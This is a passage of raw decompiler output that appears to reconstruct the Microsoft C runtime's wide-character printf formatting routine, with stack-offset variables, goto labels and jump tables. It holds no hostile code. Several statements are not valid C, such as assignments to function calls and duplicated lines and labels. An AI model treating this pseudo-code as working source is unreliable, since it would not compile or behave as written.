											__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
											 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
											__ecx =  *(__ebp - 4);
											__ecx =  *(__ebp - 4) + 1;
											 *(__ebp - 4) = __ecx;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
											__eflags =  *(__ebp - 0x10) & 0x00000200;
											if(( *(__ebp - 0x10) & 0x00000200) == 0) {
												while(1) {
													L187:
													__eflags =  *(__ebp - 0x28);
													if( *(__ebp - 0x28) != 0) {
														goto L212;
													}
													L188:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
														__eflags =  *(__ebp - 0x10) & 0x00000100;
														if(( *(__ebp - 0x10) & 0x00000100) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
															__eflags =  *(__ebp - 0x10) & 0x00000001;
															if(( *(__ebp - 0x10) & 0x00000001) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
																__eflags =  *(__ebp - 0x10) & 0x00000002;
																if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																	__edx = 0x20;
																	 *(__ebp - 0x14) = __dx;
																	 *(__ebp - 0x1c) = 1;
																}
															} else {
																__eax = 0x2b;
																 *(__ebp - 0x14) = __ax;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															__ecx = 0x2d;
															 *(__ebp - 0x14) = __cx;
															 *(__ebp - 0x1c) = 1;
														}
													}
													 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x4ac) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
													__eflags =  *(__ebp - 0x10) & 0x0000000c;
													if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
														__edx = __ebp - 0x44c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x4ac);
														__eax = E0043C990(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
													}
													__edx = __ebp - 0x44c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x1c);
													__edx = __ebp - 0x14;
													E0043C9D0( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x44c) =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) & 0x00000008;
													__eflags =  *(__ebp - 0x10) & 0x00000008;
													if(( *(__ebp - 0x10) & 0x00000008) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) == 0) {
															__edx = __ebp - 0x44c;
															__eax =  *(__ebp + 8);
															__ecx =  *(__ebp - 0x4ac);
															__eax = E0043C990(0x30,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
														}
													}
													__eflags =  *(__ebp - 0xc);
													if( *(__ebp - 0xc) != 0) {
														L208:
														__edx = __ebp - 0x44c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x24);
														__edx =  *(__ebp - 4);
														__eax = E0043C9D0(__ecx,  *(__ebp - 4), __ecx,  *(__ebp + 8), __ebp - 0x44c);
														goto L209;
													} else {
														L201:
														__eflags =  *(__ebp - 0x24);
														if( *(__ebp - 0x24) <= 0) {
															goto L208;
														}
														L202:
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x4b0) =  *(__ebp - 4);
														__eax =  *(__ebp - 0x24);
														 *(__ebp - 0x4b4) =  *(__ebp - 0x24);
														while(1) {
															L203:
															__ecx =  *(__ebp - 0x4b4);
															 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
															 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
															__eflags = __ecx;
															if(__ecx <= 0) {
																break;
															}
															L204:
															__ecx = __ebp - 0x40;
															__eax = E0041ACF0(__ebp - 0x40);
															__ecx = __ebp - 0x40;
															E0041ACF0(__ebp - 0x40) =  *__eax;
															__ecx =  *(__ebp - 0x458 + 0xac);
															__edx =  *(__ebp - 0x4b0);
															__eax = __ebp - 0x458;
															 *(__ebp - 0x4b8) = E0043B430(__ebp - 0x458,  *(__ebp - 0x4b0),  *(__ebp - 0x458 + 0xac), __ebp - 0x458);
															__eflags =  *(__ebp - 0x4b8);
															if( *(__ebp - 0x4b8) > 0) {
																L206:
																__ecx = __ebp - 0x44c;
																__edx =  *(__ebp + 8);
																 *(__ebp - 0x458) & 0x0000ffff = E0043C930( *(__ebp - 0x458) & 0x0000ffff,  *(__ebp + 8), __ebp - 0x44c);
																 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
																 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
																continue;
															}
															L205:
															 *(__ebp - 0x44c) = 0xffffffff;
															break;
														}
														L207:
														L209:
														__eflags =  *(__ebp - 0x44c);
														if( *(__ebp - 0x44c) >= 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
															__eflags =  *(__ebp - 0x10) & 0x00000004;
															if(( *(__ebp - 0x10) & 0x00000004) != 0) {
																__ecx = __ebp - 0x44c;
																__edx =  *(__ebp + 8);
																 *(__ebp - 0x4ac) = E0043C990(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
															}
														}
													}
													L212:
													__eflags =  *(__ebp - 0x20);
													if( *(__ebp - 0x20) != 0) {
														__ecx =  *(__ebp - 0x20);
														__eax = L0041C3E0( *(__ebp - 0x20), 2);
														 *(__ebp - 0x20) = 0;
													}
													while(1) {
														L214:
														 *(_t525 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t525 + 0xc))));
														_t502 =  *(_t525 - 0x454) & 0x0000ffff;
														 *((intOrPtr*)(_t525 + 0xc)) =  *((intOrPtr*)(_t525 + 0xc)) + 2;
														if(( *(_t525 - 0x454) & 0x0000ffff) == 0 ||  *(_t525 - 0x44c) < 0) {
															break;
														} else {
															if(( *(_t525 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t525 - 0x454) & 0x0000ffff) > 0x78) {
																 *(_t525 - 0x4d8) = 0;
															} else {
																 *(_t525 - 0x4d8) =  *(( *(_t525 - 0x454) & 0x0000ffff) +  &M00407E18) & 0xf;
															}
														}
														L7:
														 *(_t525 - 0x450) =  *(_t525 - 0x4d8);
														_t519 =  *(_t525 - 0x450) * 9;
														_t490 =  *(_t525 - 0x45c);
														_t510 = ( *(_t519 + _t490 + 0x407e38) & 0x000000ff) >> 4;
														 *(_t525 - 0x45c) = ( *(_t519 + _t490 + 0x407e38) & 0x000000ff) >> 4;
														if( *(_t525 - 0x45c) != 8) {
															L16:
															 *(_t525 - 0x4e0) =  *(_t525 - 0x45c);
															__eflags =  *(_t525 - 0x4e0) - 7;
															if( *(_t525 - 0x4e0) > 7) {
																continue;
															}
															L17:
															switch( *((intOrPtr*)( *(_t525 - 0x4e0) * 4 +  &M0043C824))) {
																case 0:
																	L18:
																	 *(_t525 - 0xc) = 1;
																	E0043C930( *(_t525 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t525 + 8)), _t525 - 0x44c);
																	_t527 = _t527 + 0xc;
																	goto L214;
																case 1:
																	L19:
																	 *(__ebp - 0x2c) = 0;
																	__ecx =  *(__ebp - 0x2c);
																	 *(__ebp - 0x28) = __ecx;
																	__edx =  *(__ebp - 0x28);
																	 *(__ebp - 0x18) =  *(__ebp - 0x28);
																	__eax =  *(__ebp - 0x18);
																	 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																	 *(__ebp - 0x10) = 0;
																	 *(__ebp - 0x30) = 0xffffffff;
																	 *(__ebp - 0xc) = 0;
																	goto L214;
																case 2:
																	L20:
																	__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																	 *(__ebp - 0x4e4) = __ecx;
																	 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																	 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																	__eflags =  *(__ebp - 0x4e4) - 0x10;
																	if( *(__ebp - 0x4e4) > 0x10) {
																		goto L27;
																	}
																	L21:
																	_t57 =  *(__ebp - 0x4e4) + 0x43c85c; // 0x498d04
																	__ecx =  *_t57 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M0043C844))) {
																		case 0:
																			goto L24;
																		case 1:
																			goto L25;
																		case 2:
																			goto L23;
																		case 3:
																			goto L22;
																		case 4:
																			goto L26;
																		case 5:
																			goto L27;
																	}
																case 3:
																	L28:
																	__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																	__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																	if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																		__edx =  *(__ebp - 0x18);
																		__edx =  *(__ebp - 0x18) * 0xa;
																		__eflags = __edx;
																		_t81 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																		__ecx = __edx + _t81;
																		 *(__ebp - 0x18) = __ecx;
																	} else {
																		__edx = __ebp + 0x14;
																		 *(__ebp - 0x18) = E00428200(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x18);
																		if( *(__ebp - 0x18) < 0) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000004;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																			__ecx =  *(__ebp - 0x18);
																			__ecx =  ~( *(__ebp - 0x18));
																			 *(__ebp - 0x18) = __ecx;
																		}
																	}
																	L33:
																	goto L214;
																case 4:
																	L34:
																	 *(__ebp - 0x30) = 0;
																	goto L214;
																case 5:
																	L35:
																	__edx =  *(__ebp - 0x454) & 0x0000ffff;
																	__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																	if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																		__ecx =  *(__ebp - 0x30);
																		__ecx =  *(__ebp - 0x30) * 0xa;
																		__eflags = __ecx;
																		_t92 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																		__eax = __ecx + _t92;
																		 *(__ebp - 0x30) = __ecx + _t92;
																	} else {
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x30) = E00428200(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) < 0) {
																			 *(__ebp - 0x30) = 0xffffffff;
																		}
																	}
																	goto L214;
																case 6:
																	L41:
																	__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																	 *(__ebp - 0x4e8) = __ecx;
																	 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																	 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																	__eflags =  *(__ebp - 0x4e8) - 0x2e;
																	if( *(__ebp - 0x4e8) > 0x2e) {
																		L64:
																		goto L214;
																	}
																	L42:
																	_t100 =  *(__ebp - 0x4e8) + 0x43c884; // 0xc0919003
																	__ecx =  *_t100 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M0043C870))) {
																		case 0:
																			L47:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																				L50:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
																				if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																					L53:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx & 0x0000ffff;
																					__eflags = ( *__ecx & 0x0000ffff) - 0x64;
																					if(( *__ecx & 0x0000ffff) == 0x64) {
																						L59:
																						L61:
																						goto L64;
																					}
																					L54:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = __ecx - 0x69;
																					if(__ecx == 0x69) {
																						goto L59;
																					}
																					L55:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
																					if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																						goto L59;
																					}
																					L56:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx & 0x0000ffff;
																					__eflags = ( *__ecx & 0x0000ffff) - 0x75;
																					if(( *__ecx & 0x0000ffff) == 0x75) {
																						goto L59;
																					}
																					L57:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = __ecx - 0x78;
																					if(__ecx == 0x78) {
																						goto L59;
																					}
																					L58:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
																					if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																						 *(__ebp - 0x45c) = 0;
																						goto L18;
																					}
																					goto L59;
																				}
																				L51:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																				__eflags = __ecx - 0x32;
																				if(__ecx != 0x32) {
																					goto L53;
																				} else {
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																					goto L61;
																				}
																			}
																			L48:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																			__eflags = __ecx - 0x34;
																			if(__ecx != 0x34) {
																				goto L50;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																				goto L61;
																			}
																		case 1:
																			L62:
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000020;
																			 *(__ebp - 0x10) = __ecx;
																			goto L64;
																		case 2:
																			L43:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																				__eax =  *(__ebp - 0x10);
																				__eax =  *(__ebp - 0x10) | 0x00000010;
																				__eflags = __eax;
																				 *(__ebp - 0x10) = __eax;
																			} else {
																				__ecx =  *(__ebp + 0xc);
																				__ecx =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) = __ecx;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			}
																			goto L64;
																		case 3:
																			L63:
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																			goto L64;
																		case 4:
																			goto L64;
																	}
																case 7:
																	L65:
																	__eax =  *(__ebp - 0x454) & 0x0000ffff;
																	 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																	__ecx =  *(__ebp - 0x4ec);
																	__ecx =  *(__ebp - 0x4ec) - 0x41;
																	 *(__ebp - 0x4ec) = __ecx;
																	__eflags =  *(__ebp - 0x4ec) - 0x37;
																	if( *(__ebp - 0x4ec) > 0x37) {
																		while(1) {
																			L187:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	}
																	L66:
																	_t141 =  *(__ebp - 0x4ec) + 0x43c8f0; // 0xcccccc0d
																	__eax =  *_t141 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t141 & 0x000000ff) * 4 +  &M0043C8B4))) {
																		case 0:
																			L120:
																			 *(__ebp - 0x2c) = 1;
																			 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			 *(__ebp - 0x454) = __ax;
																			goto L121;
																		case 1:
																			L67:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__edx =  *(__ebp - 0x10);
																				__edx =  *(__ebp - 0x10) | 0x00000020;
																				__eflags = __edx;
																				 *(__ebp - 0x10) = __edx;
																			}
																			goto L69;
																		case 2:
																			L82:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00000020;
																				__eflags = __ecx;
																				 *(__ebp - 0x10) = __ecx;
																			}
																			goto L84;
																		case 3:
																			L143:
																			 *(__ebp - 0x460) = 7;
																			goto L145;
																		case 4:
																			L75:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x474) = E00428200(__ebp + 0x14);
																			__eflags =  *(__ebp - 0x474);
																			if( *(__ebp - 0x474) == 0) {
																				L77:
																				__edx =  *0x440f80; // 0x404478
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DCC0( *(__ebp - 4));
																				L81:
																				goto L187;
																			}
																			L76:
																			__ecx =  *(__ebp - 0x474);
																			__eflags =  *(__ecx + 4);
																			if( *(__ecx + 4) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				__eflags =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L81;
																			}
																			goto L77;
																		case 5:
																			L121:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x44) = 0x200;
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) >= 0) {
																				L123:
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) != 0) {
																					L126:
																					__eflags =  *(__ebp - 0x30) - 0x200;
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L128:
																					__eflags =  *(__ebp - 0x30) - 0xa3;
																					if( *(__ebp - 0x30) > 0xa3) {
																						__ecx =  *(__ebp - 0x30);
																						__ecx =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B760( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						__eflags =  *(__ebp - 0x20);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__edx =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__edx =  *(__ebp + 0x14);
																					__eax =  *(__edx - 8);
																					__ecx =  *(__edx - 4);
																					 *(__ebp - 0x490) =  *(__edx - 8);
																					 *(__ebp - 0x48c) =  *(__edx - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041ACF0(__ebp - 0x40));
																					__edx =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__eax =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__ecx =  *(__ebp - 0x454);
																					_push( *(__ebp - 0x454));
																					__edx =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx = __ebp - 0x490;
																					_push(__ebp - 0x490);
																					__edx =  *0x440374; // 0x4b3bc1ec
																					E00424560(__edx) =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																						__eflags =  *(__ebp - 0x30);
																						if( *(__ebp - 0x30) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041ACF0(__ebp - 0x40));
																							__ecx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__edx =  *0x440380; // 0x4b248c6c
																							E00424560(__edx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__eax =  *(__ebp - 0x454) & 0x0000ffff;
																					__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																					if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						__eflags =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041ACF0(__ebp - 0x40));
																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0x44037c; // 0x4b24956c
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *(__ebp - 4);
																					__edx =  *( *(__ebp - 4));
																					__eflags =  *( *(__ebp - 4)) - 0x2d;
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						__ecx =  *(__ebp - 4);
																						__ecx =  *(__ebp - 4) + 1;
																						__eflags = __ecx;
																						 *(__ebp - 4) = __ecx;
																					}
																					__edx =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DCC0( *(__ebp - 4));
																					do {
																						L187:
																						__eflags =  *(__ebp - 0x28);
																						if( *(__ebp - 0x28) != 0) {
																							goto L212;
																						}
																						goto L188;
																					} while ( *(__ebp - 0x4ec) > 0x37);
																					goto L66;
																				}
																				L124:
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																				if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																					goto L126;
																				}
																				L125:
																				 *(__ebp - 0x30) = 1;
																				goto L128;
																			}
																			L122:
																			 *(__ebp - 0x30) = 6;
																			goto L128;
																		case 6:
																			L69:
																			 *(__ebp - 0xc) = 1;
																			__ebp + 0x14 = E00428200(__ebp + 0x14);
																			 *(__ebp - 0x458) = __ax;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				__cx =  *(__ebp - 0x458);
																				 *(__ebp - 0x448) = __cx;
																			} else {
																				 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																				 *(__ebp - 0x470) = __dl;
																				 *((char*)(__ebp - 0x46f)) = 0;
																				__ecx = __ebp - 0x40;
																				__eax = E0041ACF0(__ebp - 0x40);
																				__ecx = __ebp - 0x40;
																				E0041ACF0(__ebp - 0x40) =  *__eax;
																				__ecx =  *(__ebp - 0x448 + 0xac);
																				__edx = __ebp - 0x470;
																				__eax = __ebp - 0x448;
																				__eax = E0043B430(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
																				__eflags = __eax;
																				if(__eax < 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x24) = 1;
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		case 7:
																			L141:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L150;
																		case 8:
																			L106:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x484) = E00428200(__ebp + 0x14);
																			__eax = E00433DB0();
																			__eflags = __eax;
																			if(__eax != 0) {
																				L116:
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0x00000020;
																				__eflags = __ecx;
																				if(__ecx == 0) {
																					__ecx =  *(__ebp - 0x484);
																					__edx =  *(__ebp - 0x44c);
																					 *__ecx =  *(__ebp - 0x44c);
																				} else {
																					__edx =  *(__ebp - 0x484);
																					__ax =  *(__ebp - 0x44c);
																					 *( *(__ebp - 0x484)) = __ax;
																				}
																				 *(__ebp - 0x28) = 1;
																				while(1) {
																					L187:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				}
																			}
																			L107:
																			__ecx = 0;
																			__eflags = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x4f4) = 0;
																			} else {
																				 *(__ebp - 0x4f4) = 1;
																			}
																			__edx =  *(__ebp - 0x4f4);
																			 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																			__eflags =  *(__ebp - 0x488);
																			if( *(__ebp - 0x488) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E220();
																				__esp = __esp + 0x14;
																				__eflags = __eax - 1;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			__eflags =  *(__ebp - 0x488);
																			if( *(__ebp - 0x488) != 0) {
																				L115:
																				while(1) {
																					L187:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				}
																			} else {
																				L114:
																				 *((intOrPtr*)(L00422D10(__ecx))) = 0x16;
																				__eax = E00422AA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x4cc) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041ACC0(__ecx);
																				__eax =  *(__ebp - 0x4cc);
																				goto L225;
																			}
																		case 9:
																			L148:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx =  *(__ebp - 0x10);
																				__edx =  *(__ebp - 0x10) | 0x00000200;
																				__eflags = __edx;
																				 *(__ebp - 0x10) = __edx;
																			}
																			L150:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00428200(__ebp + 0x14);
																							__edx = 0;
